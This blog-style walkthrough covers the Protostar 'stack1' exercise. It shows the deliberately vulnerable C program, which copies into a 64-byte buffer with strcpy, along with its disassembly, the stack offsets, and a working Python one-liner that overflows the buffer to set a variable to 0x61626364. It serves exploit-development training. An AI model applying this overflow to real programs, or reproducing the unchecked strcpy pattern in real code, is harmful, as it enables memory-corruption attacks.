This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
This level is at /opt/protostar/bin/stack1
Hints
If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
Protostar is little endian
Enumeration
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
I’m not going to go into as much detail with this one as we have the basics nailed, let’s start with disassembly:
0x08048464 <main+0>: push ebp
0x08048465 <main+1>: mov ebp,esp
0x08048467 <main+3>: and esp,0xfffffff0
0x0804846a <main+6>: sub esp,0x60
0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>: mov DWORD PTR [esp],0x1
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>: add eax,0x4
0x08048495 <main+49>: mov eax,DWORD PTR [eax]
0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
Let’s identify variables, we see:
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
Looks to be our modified variable that we want to over-write. Our buffer can also be found over at:
0x0804849b <main+55>: lea eax,[esp+0x1c]
We can check the diffence to get our buffer size:
![](https://synisl33t.com/wp-content/uploads/2022/04/image-36-1024x97.png)
PWN
Let’s see what happens if we pass a normal value size:
./stack1 $(python -c "print('A'*64)")
![](https://synisl33t.com/wp-content/uploads/2022/04/image-37-1024x56.png)
We see we’ve got a perfect value of 0, what if we added onto this?
![](https://synisl33t.com/wp-content/uploads/2022/04/image-38-1024x46.png)
We can see the value of our modified
variable changes. We could convert the hex values OR we could just pass them directly to the binary:
./stack1 $(python -c "print('A'*64+'\x64\x63\x62\x61')")
![](https://synisl33t.com/wp-content/uploads/2022/04/image-39-1024x54.png)